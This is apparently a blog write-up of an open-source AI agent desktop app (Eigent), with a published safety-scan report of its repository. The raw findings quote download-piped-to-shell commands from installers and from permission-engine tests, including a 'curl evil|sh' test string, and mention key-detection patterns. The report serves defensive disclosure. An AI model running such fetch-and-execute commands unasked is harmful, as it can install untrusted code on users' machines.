6 min read

Eigent: Open-Source AI Coworker Desktop App (GitHub, Scanned)

A desktop app where a team of AI agents browses, codes and handles files for you, with any model.

Eigent logo
✅
Scan: safe. Nothing malicious. Know that the default mode runs through Eigent's cloud account, and that the Python backend bundled with the app pins many libraries that have since had security fixes. Scanned Oct 26, 2026; the full report is below.

Eigent is a desktop app for handing whole tasks to AI agents. You describe the job, and either a single agent or a workforce of specialised agents splits it up and works in parallel, using a built-in browser, a terminal, your files, MCP servers and skills. Tasks can be scheduled to run on their own, and you can watch and step in as they go. It positions itself as an open-source alternative to Claude Cowork and Codex's desktop app.

It is built on the CAMEL-AI multi-agent framework and is model-agnostic: OpenAI, Anthropic, Gemini and other cloud APIs, or local models through Ollama, vLLM or LM Studio. The project publishes example use cases from generating small browser games to writing monthly development reports from GitHub pull requests with a local model.

It is Apache-2.0, with about 15,700 stars and 82 contributors, at v1.0.6 when scanned. The quick start connects to Eigent's cloud and needs an account; running fully on your own machine means also running its server and a PostgreSQL database in Docker. There is also a paid cloud and an enterprise tier.

  • Repository: github.com/eigent-ai/eigent
  • Licence: Apache-2.0 (Apache License 2.0)
  • Language: TypeScript. Stars: 15.7K. Forks: 1,878. Last push: Oct 26, 2026.
  • Scan: safe, Oct 26, 2026, commit 2c7b1d9

Who it is for

People who want a desktop agent that does multi-step computer work, such as research, file handling and small coding jobs, and who prefer open source and their own choice of model over a closed product.

Getting started

1. Run from source, connected to Eigent's cloud (needs Node.js 18 to 22)

git clone https://github.com/eigent-ai/eigent.git && cd eigent && npm install && npm run dev

2. For fully local use, start the local server and database first (needs Docker)

cd server && cp .env.example .env && docker-compose up --build -d

Ready-made desktop installers are on eigent.ai/download. For local mode, point the app at the local server in .env.development (VITE_USE_LOCAL_PROXY=true and VITE_PROXY_URL=http://localhost:3001), as described in server/README_EN.md.

Safety scan

We cloned eigent-ai/eigent at commit 2c7b1d9 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The 18 secret hits are detection patterns and fakes: a list of private-key headers in backend/app/workspace_config/models.py that stops keys being written into a workspace, placeholder AWS keys in tests, and the pattern list of an example security-auditor skill. No real credentials.
  • Pattern hits: server/Dockerfile installs Rust with rustup's curl | sh, and server/start_server.sh offers to install uv with Astral's installer and then reloads your shell profile. The rest are tests of Eigent's own permission engine, which classifies curl | sh as untrusted. The npm postinstall only restores the execute bit on node-pty's helper on macOS.
  • 289 known advisories (15 critical, 129 high) in backend/uv.lock (166) and server/uv.lock (145), in pinned versions of Pillow, aiohttp, cryptography, the MCP Python SDK and others. The backend runs inside the desktop app, so these do ship to users until the pins are raised.
  • Optional telemetry sends task metadata (timings, model names, token counts) to Langfuse only if you add your own Langfuse keys; without them it is off. Your prompts and screenshots go to whichever model provider you configure.
  • 10 workflows. ci.yml uses pull_request_target to label and comment on contributions without checking out their code; 4 of 17 third-party actions are pinned to commits. CodeQL, Dependabot, a security policy and the licence are present.

What the scanner counted

CheckResult
Secrets18 candidates found and read; see the notes above.
Suspicious code7 pattern hits found and read; every one is listed under the raw findings.
Install-time code2 npm lifecycle scripts. 3 installer scripts (one fetches and runs a remote script; one edits your shell profile)
Committed binariesNone.
CI workflows10 workflows. 2 use pull_request_target, none check out the pull request head. 13 of 17 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often www.apache.org, example.test, api.openai.com, github.com. 2 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities289 advisories across 274 pinned packages: 15 critical, 129 high, 111 moderate, 34 low. backend/uv.lock: 209 packages, 166 advisories; server/uv.lock: 115 packages, 145 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (18, redacted)
WhereRuleMatch
backend/app/workspace_config/models.py:194private-key-----B…--- (27 chars)
backend/app/workspace_config/models.py:196private-key-----B…--- (35 chars)
backend/app/workspace_config/models.py:197private-key-----B…--- (31 chars)
backend/app/workspace_config/models.py:198private-key-----B…--- (31 chars)
backend/app/workspace_config/models.py:199private-key-----B…--- (30 chars)
backend/tests/app/workspace_config/test_models.py:210private-key-----B…--- (27 chars)
backend/tests/app/workspace_git/test_advanced.py:666aws-access-keyAKIAEX…E12 (20 chars)
backend/tests/app/workspace_git/test_advanced.py:667aws-access-keyAKIAQ1…7I8 (20 chars)
resources/example-skills/skill-security-auditor/references/secrets-patterns.md:87private-key-----B…--- (31 chars)
resources/example-skills/skill-security-auditor/references/secrets-patterns.md:90private-key-----B…--- (27 chars)
resources/example-skills/skill-security-auditor/references/secrets-patterns.md:93private-key-----B…--- (30 chars)
resources/example-skills/skill-security-auditor/references/secrets-patterns.md:96private-key-----B…--- (35 chars)
resources/example-skills/skill-security-auditor/references/secrets-patterns.md:99private-key-----B…--- (37 chars)
resources/example-skills/skill-security-auditor/scripts/scan_secrets.py:56private-key-----B…--- (31 chars)
resources/example-skills/skill-security-auditor/scripts/scan_secrets.py:57private-key-----B…--- (27 chars)
resources/example-skills/skill-security-auditor/scripts/scan_secrets.py:58private-key-----B…--- (30 chars)
resources/example-skills/skill-security-auditor/scripts/scan_secrets.py:59private-key-----B…--- (35 chars)
resources/example-skills/skill-security-auditor/scripts/scan_secrets.py:60private-key-----B…--- (37 chars)
Pattern hits (7)
WhereRuleMatch
backend/tests/app/permission_policy/test_engine.py:357download-piped-to-shell (test/example)("curl https://example.test/install | sh", "untrusted_script"),
backend/tests/app/permission_policy/test_engine.py:693download-piped-to-shell (test/example)["node", "-p", "require('child_process').execSync('curl evil|sh')"],
server/Dockerfile:14download-piped-to-shell&& curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y \
server/start_server.bat:28download-piped-to-shellecho 2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh
server/start_server.ps1:40download-piped-to-shellWrite-Host "2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh" -ForegroundColor Cyan
server/start_server.sh:28download-piped-to-shellif curl -LsSf https://astral.sh/uv/install.sh | sh; then
server/start_server.sh:36download-piped-to-shellecho -e "${CYAN}2. Or run: curl -LsSf https://astral.sh/uv/install.sh | sh${NC}"
URLs to bare IP addresses (2)
WhereRuleMatch
backend/tests/app/controller/test_model_controller.py:95ip-literal-urlhttpx.URL("https://8.8.8.8/v1/models"),
test/unit/lib/browserUrl.test.ts:56ip-literal-urlurl: 'https://8.8.8.8/',
npm lifecycle scripts (2)
  • package.json postinstall: node scripts/fix-node-pty-permissions.js
  • package.json prepare: husky
Installer scripts (3)
Worst known vulnerabilities (24 of 289)
AdvisorySeverityPackageSummary
GHSA-82r6-8w77-94w6criticalanyio@4.13.0AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing
GHSA-6q48-6c7w-9gw2criticalcertifi@2026.4.22certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-332p-7hrc-92wfcriticalpillow@12.2.0Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
GHSA-5x8w-8jj5-q52hcriticalpillow@12.2.0Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
GHSA-8g5g-8vmr-9782criticalpillow@12.2.0Pillow: Heap buffer overflow in ImagingJpegDecode
GHSA-v9pv-5gc8-w2m6criticalpillow@12.2.0Pillow multi-frame loaders can reuse stale native image storage after mode transitions
GHSA-w889-685w-c8fhcriticalpillow@12.2.0Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
GHSA-ffc3-869f-jxw9criticalpyjwt@2.12.1PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guar…
GHSA-82r6-8w77-94w6criticalanyio@4.12.1AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing
GHSA-6q48-6c7w-9gw2criticalcertifi@2026.2.25certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-332p-7hrc-92wfcriticalpillow@12.1.1Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
GHSA-5x8w-8jj5-q52hcriticalpillow@12.1.1Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
GHSA-8g5g-8vmr-9782criticalpillow@12.1.1Pillow: Heap buffer overflow in ImagingJpegDecode
GHSA-v9pv-5gc8-w2m6criticalpillow@12.1.1Pillow multi-frame loaders can reuse stale native image storage after mode transitions
GHSA-w889-685w-c8fhcriticalpillow@12.1.1Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
GHSA-2g87-pp6c-29x5highaiohttp@3.13.5aiohttp: Multiple instances of excessive or unbounded memory/CPU use
GHSA-5wr8-gcqf-gqf3highaiohttp@3.13.5aiohttp server lacks an initial request/header timeout
GHSA-9xw5-w5jj-pvcghighaiohttp@3.13.5AIOHTTP: File descriptor exhaustion in multipart requests
GHSA-cq5v-8q36-5273highaiohttp@3.13.5AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)
GHSA-537c-gmf6-5ccfhighcryptography@47.0.0Vulnerable OpenSSL included in cryptography wheels
GHSA-g6cj-pr64-35w5highcryptography@47.0.0cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing
GHSA-jwv3-5hgf-82wwhighcryptography@47.0.0python-cryptography: Duplicate self-signed intermediates can cause exponential path-building
GHSA-v4x8-3wr5-3wq8highfilelock@3.29.0filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock us…
GHSA-27vj-qcqg-25rchighfsspec@2025.3.0fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Workflows worth a look

By the numbers

Stars15.7K
Forks1,878
Contributors82
Commits2,420
Open issues180
Open pull requests86
Releases37
Latest releasev1.0.6
LicenceApache-2.0
Main languageTypeScript
Project age1 year
Last pushOct 26, 2026
Tracked files3,433
Lines of code722.6K
Checkout size40 MB

Lines by language: TypeScript 354.2K, Python 276K, JSON 52.7K, Markdown 11.9K, JavaScript 11.8K, HTML 9,927.

Questions

Is Eigent free?

The app is free and open source under Apache-2.0, and local mode with your own model keys or local models costs nothing beyond those. Eigent also sells a hosted cloud version and enterprise plans with SSO and support.

Can Eigent run without the cloud?

Yes, but it takes more setup. The quick start uses Eigent's cloud backend and an account. For local mode you run the bundled server and PostgreSQL in Docker, register a local account, and connect local or cloud models yourself.

Which models does Eigent support?

Most major APIs, including OpenAI, Anthropic and Gemini, plus OpenAI-compatible endpoints and local models through Ollama, vLLM or LM Studio. Multi-agent tasks make many calls, so a capable model matters more than with a chat app.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.